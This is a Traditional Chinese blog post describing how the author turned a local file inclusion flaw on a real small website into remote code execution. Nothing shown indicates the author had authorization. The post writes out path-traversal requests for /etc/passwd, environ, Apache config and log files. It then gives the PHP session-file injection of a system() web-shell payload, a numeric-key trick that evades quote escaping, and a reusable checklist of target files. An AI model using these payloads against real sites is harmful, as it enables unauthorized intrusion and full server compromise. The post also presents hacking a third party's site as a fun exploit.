[Web Security] 透過 LFI 引入 PHP session 檔案觸發 RCE

先前因為朋友分享而得知某個小站具有 LFI 漏洞,於是就想嘗試著觸發 RCE,但發現主機上檔案權限蠻嚴格的,幸好最終還是成功透過 session 檔案觸發,因為過程有幾個蠻有趣的小細節,就趕緊寫篇文章作個筆記。

該網站發生 LFI 的點原始路徑是長類似這個樣子

 /file.php?file=index.html

透過以下幾個測試確認存在 LFI 漏洞

 /file.php?file=./index.html  <- 存在  
 /file.php?file=../index.html  <- 不存在  
 /file.php?file=../../../../../etc/passwd  <- 成功顯示 passwd 內容

但因為測試發現 include 語句前方串接了額外的資料夾路徑,無法嘗試 PHP Wrapper、RFI (Remote File Inclusion),猜測原始碼可能會類似

 include(INCLUDE_DIRECTORY . $_GET['file']);

也沒發現能直接上傳檔案的入口,因此把策略轉為嘗試引入含有環境變數、Access Log 或其他可能含有使用者提供的資料的檔案。

首先嘗試環境變數的檔案

 /file.php?file=../../../../../proc/self/environ

可惜結果是失敗,可能是不夠權限進行讀取,再將目標轉移到網頁的 Access Log、Error Log,首先嘗試取得 Web Server config,順利發現在預設路徑的 Apache httpd.conf

 /file.php?file=../../../../../etc/httpd/conf/httpd.conf

並且依據設定檔內容確定 Log 檔案在 /etc/httpd/logs/access_log,但經測試無論是 access_log 還是 error_log 都無法被順利引入,應該也是讀取權限不足所導致。

到這邊因為經驗不足,已經沒有想法了,只好開始上網爬大量資料,發現有文章表示除了以上幾種常見檔案,還可以嘗試 session 檔案,同時也注意到該網站確實有啟用 session 功能,心想在某些情況下,或許能控制到 session 檔案的內容。二話不說直接引入 session 檔案。(預設檔案路徑通常是 /tmp/sess_{SESSION_ID} )

 /file.php?file=../../../../../tmp/sess_{SESSION_ID}

沒想到一次就中大獎,更讓人高興的是注意到出現的內容含有「file」關鍵字。

這表示 GET 參數的內容被儲存至 session 中,既然如此,那就可以直接在 GET 參數上注入可執行的 payload,但因為包含進來的 session 內容會是上一次請求時的內容,必須先對網站請求一次使 payload 儲存至 session 中,才能引入 payload 讓其執行。

初步測試直接執行

 /file.php  
 ?file=../../../../../tmp/sess_{ID}  
 &a=<?php system($_GET['b']); ?>  
 &b=ls -la

但結果卻是失敗的,理由是引號「 ' 」、「 " 」都被網站跳脫成「 ' 」、「 " 」。

此處就必須用到 PHP Array 的一個有趣特性,依據官方的說法

包含有合法整數型值的字符串會被轉換為整數型。例如鍵名 "8" 實際會被儲存為 8。但是 "08" 則不會強制轉換,因為其不是一個合法的十進制數值。
這意味著當請求的 GET 參數長這個樣子

 /file.php?1=Hello,world!

我們就可以透過 $_GET['1'] 或 $_GET[1] 取得 'Hello,world!' 的字串

即便引號被跳脫,我們仍然能順利獲取 GET 參數的內容,所以只要將原本的 payload 替換成以 $_GET[1] 獲取指令即可。

 /file.php  
 ?file=../../../../../tmp/sess_{SESSION_ID}  
 &a=<?php system($_GET[1]); ?>  
 &1=ls -la

於是乎 ~~ bang ~~

一個新鮮的 Web Shell 就取得了!

 

 

總結一下此次經驗

  1. 當遇到 LFI 漏洞時,可以先檢查一下幾種可能的檔案:

    1. /etc/passwd
    2. /proc/self/environ
    3. All possible config files ( e.g. Apache /etc/httpd/conf/httpd.conf )
    4. Web server access, error log ( e.g. /etc/httpd/logs/access_log )
    5. Session files ( e.g. /tmp/sess_{SESSION_ID} )
  2. PHP 使用 $_GET[1]、$_POST[1] 可以避開引號跳脫的問題。
     

08/30 補充

後來有朋友告訴我 $_GET[a] 不加單引號也可以執行,但我最初在嘗試時卻失敗,有可能是打錯字了 Q__Q

Cyku

A.k.a. cy. A web dog. Interested in web security. cyku@cyku.tw

Taiwan